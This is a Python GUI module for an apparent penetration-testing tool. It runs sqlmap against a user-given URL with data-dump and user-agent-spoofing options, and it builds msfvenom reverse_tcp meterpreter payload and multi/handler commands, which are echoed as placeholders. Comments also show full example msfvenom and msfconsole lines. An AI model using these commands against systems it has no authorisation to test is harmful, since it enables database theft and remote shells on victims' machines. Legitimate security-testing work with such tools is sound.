import customtkinter as ctk
from core.process_runner import ProcessRunner
from core import reporting
import threading
import os # Required for constructing paths

class ExploitFrame(ctk.CTkFrame):
    def __init__(self, master, set_session_callback=None, heading_font=None, text_font=None):
        super().__init__(master)
        self.set_session_callback = set_session_callback
        self.heading_font = heading_font if heading_font else ctk.CTkFont(size=18, weight="bold")
        self.text_font = text_font if text_font else ctk.CTkFont(size=12)
        self.monospace_font = ctk.CTkFont(family="Fira Code", size=12) # For output textboxes
        self.grid_columnconfigure(0, weight=1)
        self.grid_rowconfigure(1, weight=1)

        title = ctk.CTkLabel(self, text="Sección de Explotación", font=self.heading_font)
        title.grid(row=0, column=0, padx=20, pady=(20, 10), sticky="ew")

        self.tab_view = ctk.CTkTabview(self)
        self.tab_view.grid(row=1, column=0, padx=20, pady=10, sticky="nsew")

        self.tab_view.add("Metasploit")
        self.tab_view.add("Inyecciones Web y Exploits") # New Web Injections and Exploits Tab
        # self.tab_view.add("Exploit DB") # Future tools
        # self.tab_view.add("Custom Exploits") # Future tools

        self.metasploit_process_runner = None
        # self.web_exploits_process_runner = None # This was a placeholder, actual runner will be sqlmap
        self.exploit_sqlmap_process_runner = None # Specific runner for SQLMap in exploit frame
        self.current_session_name = None

        self.setup_metasploit_tab()
        self.setup_web_exploits_tab()

    def setup_web_exploits_tab(self):
        tab = self.tab_view.tab("Inyecciones Web y Exploits")
        tab.grid_columnconfigure(0, weight=1)
        tab.grid_rowconfigure(4, weight=1) # Adjusted for output textbox vertical expansion

        # ---- Input Controls Frame ----
        input_controls_frame = ctk.CTkFrame(tab)
        input_controls_frame.grid(row=0, column=0, padx=10, pady=10, sticky="ew")
        input_controls_frame.grid_columnconfigure(0, weight=1)
        input_controls_frame.grid_columnconfigure(1, weight=2) # Entry wider than label

        # Target
        target_frame = ctk.CTkFrame(input_controls_frame, fg_color="transparent")
        target_frame.grid(row=0, column=0, columnspan=2, padx=5, pady=5, sticky="ew")
        target_frame.grid_columnconfigure(0, weight=1)
        target_frame.grid_columnconfigure(1, weight=3)
        self.exploit_sqlmap_target_label = ctk.CTkLabel(target_frame, text="URL/Request File:")
        self.exploit_sqlmap_target_label.grid(row=0, column=0, padx=10, pady=8, sticky="w")
        self.exploit_sqlmap_target_entry = ctk.CTkEntry(target_frame, placeholder_text="URL o ruta a archivo .req")
        self.exploit_sqlmap_target_entry.grid(row=0, column=1, padx=10, pady=8, sticky="ew")

        # Risk and Level
        risk_level_frame = ctk.CTkFrame(input_controls_frame, fg_color="transparent")
        risk_level_frame.grid(row=1, column=0, columnspan=2, padx=5, pady=5, sticky="ew")
        risk_level_frame.grid_columnconfigure(0, weight=1)
        risk_level_frame.grid_columnconfigure(1, weight=1)
        risk_level_frame.grid_columnconfigure(2, weight=1)
        risk_level_frame.grid_columnconfigure(3, weight=1)

        self.exploit_sqlmap_risk_label = ctk.CTkLabel(risk_level_frame, text="Riesgo (Risk):")
        self.exploit_sqlmap_risk_label.grid(row=0, column=0, padx=10, pady=8, sticky="w")
        self.exploit_sqlmap_risk_option = ctk.CTkOptionMenu(risk_level_frame, values=["1", "2", "3"])
        self.exploit_sqlmap_risk_option.set("1")
        self.exploit_sqlmap_risk_option.grid(row=0, column=1, padx=10, pady=8, sticky="ew")

        self.exploit_sqlmap_level_label = ctk.CTkLabel(risk_level_frame, text="Nivel (Level):")
        self.exploit_sqlmap_level_label.grid(row=0, column=2, padx=10, pady=8, sticky="w")
        self.exploit_sqlmap_level_option = ctk.CTkOptionMenu(risk_level_frame, values=["1", "2", "3", "4", "5"])
        self.exploit_sqlmap_level_option.set("1")
        self.exploit_sqlmap_level_option.grid(row=0, column=3, padx=10, pady=8, sticky="ew")

        # Checkboxes for actions
        checkbox_frame = ctk.CTkFrame(input_controls_frame, fg_color="transparent")
        checkbox_frame.grid(row=2, column=0, columnspan=2, padx=5, pady=5, sticky="ew")
        checkbox_frame.grid_columnconfigure(0, weight=1)
        checkbox_frame.grid_columnconfigure(1, weight=1)

        self.exploit_sqlmap_dbs_var = ctk.BooleanVar(value=False)
        self.exploit_sqlmap_dbs_checkbox = ctk.CTkCheckBox(checkbox_frame, text="Enumerar Bases de Datos (--dbs)", variable=self.exploit_sqlmap_dbs_var)
        self.exploit_sqlmap_dbs_checkbox.grid(row=0, column=0, padx=10, pady=8, sticky="w")

        self.exploit_sqlmap_tables_var = ctk.BooleanVar(value=False)
        self.exploit_sqlmap_tables_checkbox = ctk.CTkCheckBox(checkbox_frame, text="Enumerar Tablas (--tables)", variable=self.exploit_sqlmap_tables_var)
        self.exploit_sqlmap_tables_checkbox.grid(row=0, column=1, padx=10, pady=8, sticky="w")

        self.exploit_sqlmap_dump_var = ctk.BooleanVar(value=False)
        self.exploit_sqlmap_dump_checkbox = ctk.CTkCheckBox(checkbox_frame, text="Volcar Datos (--dump)", variable=self.exploit_sqlmap_dump_var)
        self.exploit_sqlmap_dump_checkbox.grid(row=1, column=0, padx=10, pady=8, sticky="w")

        self.exploit_sqlmap_batch_var = ctk.BooleanVar(value=True) # Usually good to have this on
        self.exploit_sqlmap_batch_checkbox = ctk.CTkCheckBox(checkbox_frame, text="Modo Batch (--batch)", variable=self.exploit_sqlmap_batch_var)
        self.exploit_sqlmap_batch_checkbox.grid(row=1, column=1, padx=10, pady=8, sticky="w")
        
        self.exploit_sqlmap_random_agent_var = ctk.BooleanVar(value=True)
        self.exploit_sqlmap_random_agent_checkbox = ctk.CTkCheckBox(checkbox_frame, text="Random User-Agent (--random-agent)", variable=self.exploit_sqlmap_random_agent_var)
        self.exploit_sqlmap_random_agent_checkbox.grid(row=2, column=0, padx=10, pady=8, sticky="w")
        
        # POST Data
        post_data_frame = ctk.CTkFrame(input_controls_frame, fg_color="transparent")
        post_data_frame.grid(row=3, column=0, columnspan=2, padx=5, pady=5, sticky="ew")
        post_data_frame.grid_columnconfigure(0, weight=1)
        post_data_frame.grid_columnconfigure(1, weight=3)
        self.exploit_sqlmap_data_label = ctk.CTkLabel(post_data_frame, text="Datos POST (--data):")
        self.exploit_sqlmap_data_label.grid(row=0, column=0, padx=10, pady=8, sticky="w")
        self.exploit_sqlmap_data_entry = ctk.CTkEntry(post_data_frame, placeholder_text="ej: 'user=admin&pass=password'")
        self.exploit_sqlmap_data_entry.grid(row=0, column=1, padx=10, pady=8, sticky="ew")

        # ---- Action Buttons Frame ----
        action_buttons_frame = ctk.CTkFrame(tab)
        action_buttons_frame.grid(row=1, column=0, padx=10, pady=10, sticky="ew")
        action_buttons_frame.grid_columnconfigure(0, weight=1)
        action_buttons_frame.grid_columnconfigure(1, weight=1)

        self.exploit_sqlmap_start_button = ctk.CTkButton(action_buttons_frame, text="Iniciar SQLMap", command=self.start_exploit_sqlmap_scan)
        self.exploit_sqlmap_start_button.grid(row=0, column=0, padx=10, pady=12, sticky="ew")

        self.exploit_sqlmap_stop_button = ctk.CTkButton(action_buttons_frame, text="Detener SQLMap", command=self.stop_exploit_sqlmap_scan, fg_color="red", state="disabled")
        self.exploit_sqlmap_stop_button.grid(row=0, column=1, padx=10, pady=12, sticky="ew")
        
        # ---- Status and Progress Indicators ----
        self.exploit_sqlmap_status_label = ctk.CTkLabel(tab, text="Listo", font=self.text_font)
        self.exploit_sqlmap_status_label.grid(row=2, column=0, padx=10, pady=(5, 0), sticky="w")

        self.exploit_sqlmap_progress_bar = ctk.CTkProgressBar(tab, mode="indeterminate")
        self.exploit_sqlmap_progress_bar.grid(row=3, column=0, padx=10, pady=(0, 5), sticky="ew")
        self.exploit_sqlmap_progress_bar.set(0) # Hide it initially

        # ---- Output ----
        self.exploit_sqlmap_output_textbox = ctk.CTkTextbox(tab, state="disabled", font=self.monospace_font)
        self.exploit_sqlmap_output_textbox.grid(row=4, column=0, padx=10, pady=10, sticky="nsew")

    def start_exploit_sqlmap_scan(self):
        target = self.exploit_sqlmap_target_entry.get()
        if not target:
            return

        self.exploit_sqlmap_start_button.configure(state="disabled")
        self.exploit_sqlmap_stop_button.configure(state="normal")
        
        self.exploit_sqlmap_status_label.configure(text="Iniciando SQLMap...", text_color="orange")
        self.exploit_sqlmap_progress_bar.start()

        self.current_session_name = reporting.create_session(f"Exploit_SQLMap_Scan_{target}")
        if self.set_session_callback:
            self.set_session_callback(self.current_session_name)
        
        sqlmap_path = "/usr/bin/sqlmap"
        command = [sqlmap_path, "-u", target] # Base command

        # Add options based on user selection
        command.extend(["--risk", self.exploit_sqlmap_risk_option.get()])
        command.extend(["--level", self.exploit_sqlmap_level_option.get()])

        if self.exploit_sqlmap_dbs_var.get():
            command.append("--dbs")
        if self.exploit_sqlmap_tables_var.get():
            command.append("--tables")
        if self.exploit_sqlmap_dump_var.get():
            command.append("--dump")
        if self.exploit_sqlmap_batch_var.get():
            command.append("--batch")
        if self.exploit_sqlmap_random_agent_var.get():
            command.append("--random-agent")

        post_data = self.exploit_sqlmap_data_entry.get()
        if post_data:
            command.extend(["--data", post_data])

        self.exploit_sqlmap_output_textbox.configure(state="normal")
        self.exploit_sqlmap_output_textbox.delete("1.0", "end")
        self.exploit_sqlmap_output_textbox.insert("1.0", f"--- Iniciando SQLMap en {target} ---\nComando: {' '.join(command)}\n\n")
        self.exploit_sqlmap_output_textbox.configure(state="disabled")

        self.exploit_sqlmap_process_runner = ProcessRunner(
            command,
            self.exploit_sqlmap_output_textbox,
            status_label=self.exploit_sqlmap_status_label,
            progress_bar=self.exploit_sqlmap_progress_bar
        )
        self.exploit_sqlmap_process_runner.start()
        
        threading.Thread(target=self.wait_and_save_exploit_sqlmap, daemon=True).start()

    def stop_exploit_sqlmap_scan(self):
        if self.exploit_sqlmap_process_runner:
            self.exploit_sqlmap_process_runner.stop()
            self.exploit_sqlmap_start_button.configure(state="normal")
            self.exploit_sqlmap_stop_button.configure(state="disabled")
            self.exploit_sqlmap_status_label.configure(text="Detenido.", text_color="red")
            self.exploit_sqlmap_progress_bar.stop()

    def wait_and_save_exploit_sqlmap(self):
        if self.exploit_sqlmap_process_runner:
            self.exploit_sqlmap_process_runner.thread.join()

        full_output = self.exploit_sqlmap_output_textbox.get("1.0", "end")
        reporting.log_tool_output(self.current_session_name, "Exploit SQLMap Scan", full_output, output_format="txt")
        
        self.master.after(0, self._reset_exploit_sqlmap_buttons)

    def _reset_exploit_sqlmap_buttons(self):
        self.exploit_sqlmap_start_button.configure(state="normal")
        self.exploit_sqlmap_stop_button.configure(state="disabled")
        self.exploit_sqlmap_status_label.configure(text="Completado.", text_color="green")
        self.exploit_sqlmap_progress_bar.stop()




    def setup_metasploit_tab(self):
        tab = self.tab_view.tab("Metasploit")
        tab.grid_columnconfigure(0, weight=1)
        tab.grid_rowconfigure(4, weight=1) # Adjusted for output textbox vertical expansion

        # ---- Input Controls Frame ----
        input_controls_frame = ctk.CTkFrame(tab)
        input_controls_frame.grid(row=0, column=0, padx=10, pady=10, sticky="nsew")
        input_controls_frame.grid_columnconfigure(0, weight=1)
        input_controls_frame.grid_columnconfigure(1, weight=2) # Entry wider than label

        # LHOST and LPORT for payload and handler
        self.metasploit_lhost_label = ctk.CTkLabel(input_controls_frame, text="LHOST (IP Local):")
        self.metasploit_lhost_label.grid(row=0, column=0, padx=10, pady=8, sticky="w")
        self.metasploit_lhost_entry = ctk.CTkEntry(input_controls_frame, placeholder_text="ej: 192.168.1.100")
        self.metasploit_lhost_entry.grid(row=0, column=1, padx=10, pady=8, sticky="ew")

        self.metasploit_lport_label = ctk.CTkLabel(input_controls_frame, text="LPORT (Puerto Local):")
        self.metasploit_lport_label.grid(row=1, column=0, padx=10, pady=8, sticky="w")
        self.metasploit_lport_entry = ctk.CTkEntry(input_controls_frame, placeholder_text="ej: 4444")
        self.metasploit_lport_entry.grid(row=1, column=1, padx=10, pady=8, sticky="ew")

        # Payload Type (Simple dropdown for common ones)
        self.metasploit_payload_label = ctk.CTkLabel(input_controls_frame, text="Payload:")
        self.metasploit_payload_label.grid(row=2, column=0, padx=10, pady=8, sticky="w")
        self.metasploit_payload_option = ctk.CTkOptionMenu(input_controls_frame,
                                                      values=["windows/meterpreter/reverse_tcp",
                                                              "linux/x86/meterpreter/reverse_tcp",
                                                              "android/meterpreter/reverse_tcp",
                                                              "php/meterpreter/reverse_tcp",
                                                              "python/meterpreter/reverse_tcp"])
        self.metasploit_payload_option.set("windows/meterpreter/reverse_tcp")
        self.metasploit_payload_option.grid(row=2, column=1, padx=10, pady=8, sticky="ew")

        # ---- Action Buttons Frame ----
        action_buttons_frame = ctk.CTkFrame(tab)
        action_buttons_frame.grid(row=1, column=0, padx=10, pady=10, sticky="nsew")
        action_buttons_frame.grid_columnconfigure(0, weight=1)
        action_buttons_frame.grid_columnconfigure(1, weight=1)
        action_buttons_frame.grid_columnconfigure(2, weight=1)

        self.metasploit_generate_payload_button = ctk.CTkButton(action_buttons_frame, text="Generar Payload", command=self.start_metasploit_payload_generation)
        self.metasploit_generate_payload_button.grid(row=0, column=0, padx=10, pady=12, sticky="ew")

        self.metasploit_start_handler_button = ctk.CTkButton(action_buttons_frame, text="Iniciar Handler", command=self.start_metasploit_handler)
        self.metasploit_start_handler_button.grid(row=0, column=1, padx=10, pady=12, sticky="ew")

        self.metasploit_stop_button = ctk.CTkButton(action_buttons_frame, text="Detener MSF", command=self.stop_metasploit_process, fg_color="red", state="disabled")
        self.metasploit_stop_button.grid(row=0, column=2, padx=10, pady=12, sticky="ew")

        # ---- Status and Progress Indicators ----
        self.metasploit_status_label = ctk.CTkLabel(tab, text="Listo", font=self.text_font)
        self.metasploit_status_label.grid(row=2, column=0, padx=10, pady=(5, 0), sticky="ew")
        
        self.metasploit_progress_bar = ctk.CTkProgressBar(tab, mode="indeterminate")
        self.metasploit_progress_bar.grid(row=3, column=0, padx=10, pady=(0, 5), sticky="ew")
        self.metasploit_progress_bar.set(0) # Hide it initially

        # ---- Output ----
        self.metasploit_output_textbox = ctk.CTkTextbox(tab, state="disabled", font=self.monospace_font)
        self.metasploit_output_textbox.grid(row=4, column=0, padx=10, pady=10, sticky="nsew")

    def start_metasploit_payload_generation(self):
        lhost = self.metasploit_lhost_entry.get()
        lport = self.metasploit_lport_entry.get()
        payload = self.metasploit_payload_option.get()

        if not lhost or not lport:
            self.metasploit_status_label.configure(text="Error: LHOST y LPORT son obligatorios.", text_color="red")
            return

        self.metasploit_generate_payload_button.configure(state="disabled")
        self.metasploit_start_handler_button.configure(state="disabled")
        self.metasploit_stop_button.configure(state="normal")
        
        self.metasploit_status_label.configure(text="Generando payload...", text_color="orange")
        self.metasploit_progress_bar.start()

        self.current_session_name = reporting.create_session(f"Metasploit_Payload_{payload}")
        if self.set_session_callback:
            self.set_session_callback(self.current_session_name)
        
        # msfvenom command
        # Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/payload.exe
        
        # Placeholder command, replace with actual msfvenom logic
        command = ["echo", f"msfvenom -p {payload} LHOST={lhost} LPORT={lport} -f exe -o /tmp/payload.exe"]

        self.metasploit_output_textbox.configure(state="normal")
        self.metasploit_output_textbox.delete("1.0", "end")
        self.metasploit_output_textbox.insert("1.0", f"--- Generando Payload con Metasploit ---\nComando: {' '.join(command)}\n\n")
        self.metasploit_output_textbox.configure(state="disabled")

        self.metasploit_process_runner = ProcessRunner(
            command,
            self.metasploit_output_textbox,
            status_label=self.metasploit_status_label,
            progress_bar=self.metasploit_progress_bar
        )
        self.metasploit_process_runner.start()
        
        threading.Thread(target=self.wait_and_save_metasploit_payload, daemon=True).start()

    def wait_and_save_metasploit_payload(self):
        if self.metasploit_process_runner:
            self.metasploit_process_runner.thread.join()

        full_output = self.metasploit_output_textbox.get("1.0", "end")
        reporting.log_tool_output(self.current_session_name, "Metasploit Payload Generation", full_output, output_format="txt")
        
        self.master.after(0, self._reset_metasploit_buttons_payload_gen)

    def _reset_metasploit_buttons_payload_gen(self):
        self.metasploit_generate_payload_button.configure(state="normal")
        self.metasploit_status_label.configure(text="Payload Generado.", text_color="green")
        self.metasploit_progress_bar.stop()

    def start_metasploit_handler(self):
        lhost = self.metasploit_lhost_entry.get()
        lport = self.metasploit_lport_entry.get()
        payload = self.metasploit_payload_option.get()

        if not lhost or not lport:
            self.metasploit_status_label.configure(text="Error: LHOST y LPORT son obligatorios.", text_color="red")
            return

        self.metasploit_generate_payload_button.configure(state="disabled")
        self.metasploit_start_handler_button.configure(state="disabled")
        self.metasploit_stop_button.configure(state="normal")
        
        self.metasploit_status_label.configure(text="Iniciando handler de Metasploit...", text_color="orange")
        self.metasploit_progress_bar.start()

        self.current_session_name = reporting.create_session(f"Metasploit_Handler_{payload}")
        if self.set_session_callback:
            self.set_session_callback(self.current_session_name)
        
        # msfconsole command
        # Example: msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit -j"
        
        # Placeholder command, replace with actual msfconsole logic
        command = ["echo", f"msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD {payload}; set LHOST {lhost}; set LPORT {lport}; exploit -j'"] 

        self.metasploit_output_textbox.configure(state="normal")
        self.metasploit_output_textbox.delete("1.0", "end")
        self.metasploit_output_textbox.insert("1.0", f"--- Iniciando Handler de Metasploit ---\nComando: {' '.join(command)}\n\n")
        self.metasploit_output_textbox.configure(state="disabled")

        self.metasploit_process_runner = ProcessRunner(
            command,
            self.metasploit_output_textbox,
            status_label=self.metasploit_status_label,
            progress_bar=self.metasploit_progress_bar
        )
        self.metasploit_process_runner.start()
        
        threading.Thread(target=self.wait_and_save_metasploit_handler, daemon=True).start()

    def wait_and_save_metasploit_handler(self):
        if self.metasploit_process_runner:
            self.metasploit_process_runner.thread.join()

        full_output = self.metasploit_output_textbox.get("1.0", "end")
        reporting.log_tool_output(self.current_session_name, "Metasploit Handler", full_output, output_format="txt")
        
        self.master.after(0, self._reset_metasploit_buttons_handler)

    def _reset_metasploit_buttons_handler(self):
        self.metasploit_generate_payload_button.configure(state="normal")
        self.metasploit_start_handler_button.configure(state="normal")
        self.metasploit_stop_button.configure(state="disabled")
        self.metasploit_status_label.configure(text="Handler iniciado/completado.", text_color="green")
        self.metasploit_progress_bar.stop()

    def stop_metasploit_process(self):
        if self.metasploit_process_runner:
            self.metasploit_process_runner.stop()
            self.metasploit_generate_payload_button.configure(state="normal")
            self.metasploit_start_handler_button.configure(state="normal")
            self.metasploit_stop_button.configure(state="disabled")
            self.metasploit_status_label.configure(text="Detenido.", text_color="red")
            self.metasploit_progress_bar.stop()